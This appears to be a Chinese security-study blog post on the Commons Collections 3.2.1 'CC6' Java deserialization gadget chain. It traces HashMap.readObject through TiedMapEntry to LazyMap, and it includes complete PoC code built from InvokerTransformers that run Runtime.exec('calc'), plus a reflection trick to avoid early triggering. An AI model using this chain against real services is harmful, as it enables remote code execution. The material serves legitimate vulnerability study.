当前位置: 首页 > news >正文

CC6利用链分析

CC1的两条利用链,在JDK 8u71之后已修复,不可利用。

学一下不受版本限制的CC6利用链

分析版本

Commons Collections 3.2.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

我的Github主页Java反序列化学习同步更新,有简单的利用链图

CC6是在CC1 LazyMap利用链的基础上。

与其不同的是在寻找CC1 LazyMap.get的利用时,找到的是TiedMapEntry的getValue方法。

TiedMapEntry又是个public类,并且可序列化,可以控制map和key的传值。

    public Object getValue() {return map.get(key);}

而getValue又被hashCode调用

    public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

之后找hashCode的调用,作者找到的是HashMap的hash方法

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

我们又知道HashMap是可序列化的,还重写了readObject,看下readObject方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}

可以看到putVal(hash(key), key, value, false, false);正好调用了hash函数,只要保证反序列化时mapping的值大于0,就能走到这一步。

到此利用链完成。

Poc

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, 1);cc1_poc.serialize(hashMap);cc1_poc.unserialize("s.ser");}
}

此时可以弹计算器,但是计算器是在hashMap.put(tiedMapEntry, 1);这步(序列化之前)时,就把利用链调完了,所以参考URLDNS利用链

的解决办法。

因为是在put处触发的,所以我们在写完利用链之后,调用put之前,通过反射把利用链断掉。

在put方法调用之后,序列化之前,再把修改的位置复原。

更新Poc

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以//举个例子修改tiedMapEntry的 keyTiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, 1);//复原//因为key为private,而且也没有public方法能直接修改key//利用反射Class c = TiedMapEntry.class;Field key = c.getDeclaredField("key");key.setAccessible(true);key.set(tiedMapEntry, lazyMap);cc1_poc.serialize(hashMap);cc1_poc.unserialize("s.ser");}
}

补充

如果在断掉利用链时选择修改LazyMap,会发现反序列化也不会触发计算器,是因为put过程中

走到LazyMap.get这,if表达式为真,会执行到map.put(key, value);

而map在序列化时会被序列化,在反序列化时map里面有了key,if表达式为假,不会执行chainedTransformer.transform,利用链断了。

解决这个问题,在put后序列化之前把lazyMap map中对应的key删掉就好了,详情参考cc6

    private void writeObject(ObjectOutputStream out) throws IOException {out.defaultWriteObject();out.writeObject(map);}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();map = (Map) in.readObject();}//-----------------------------------------------------------------------public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}
http://www.lryc.cn/news/390776.html

相关文章:

  • 多线程编程的基本概念,C++标准库中的多线程支持(std::thread,std::async),如何处理线程同步和并发问题。
  • Linux的Socket开发概述
  • LLM调优,大模型怎么学
  • XLSX + LuckySheet + LuckyExcel实现前端的excel预览
  • 在Ubuntu上创建和启用交换文件的简单步骤
  • Java [ 基础 ] HashMap详解 ✨
  • vue2项目迁移vue3与gogocode的使用
  • 【Python123题库】#数列求和 #百分制成绩转换五分制(循环) #正负交错数列前n项和 #求数列前n项的平方和
  • Edge浏览器选中后,出现AI智能生成 AI专业写作
  • c++习题08-计算星期几
  • 单目相机减速带检测以及测距
  • Xilinx FPGA:vivado实现乒乓缓存
  • 解决 VM 虚拟机网络连接异常导致的 Finalshell 无法连接及 ifconfig 中 ens33 丢失问题
  • 深入Django(三)
  • 观测云赋能「阿里云飞天企业版」,打造全方位监控观测解决方案
  • 51单片机第27步_单片机工作在睡眠模式
  • 互联网应用主流框架整合之SpringCloud微服务治理
  • 超快的 Python 包管理工具「GitHub 热点速览」
  • 网络基础:OSPF 协议
  • 1456.定长子串中元音的最大数目
  • 基于xilinx FPGA的GTX/GTH/GTY位置信息查看方式(如X0Y0在bank几)
  • JAVA小知识30:JAVA多线程篇1,认识多线程与线程安全问题以及解决方案。(万字解析)
  • Python数据分析案例47——笔记本电脑价格影响因素分析
  • 【加密与解密】【09】GPG Client签名流程
  • “2024软博会” 为软件企业提供集展示、交流、合作一站式平台
  • 【Zoom安全解析】深入Zoom的端到端加密机制
  • 7 动态规划
  • .net 快速开发框架开源
  • 《昇思25天学习打卡营第06天|网络构建》
  • 【链表】- 两两交换链表中的节点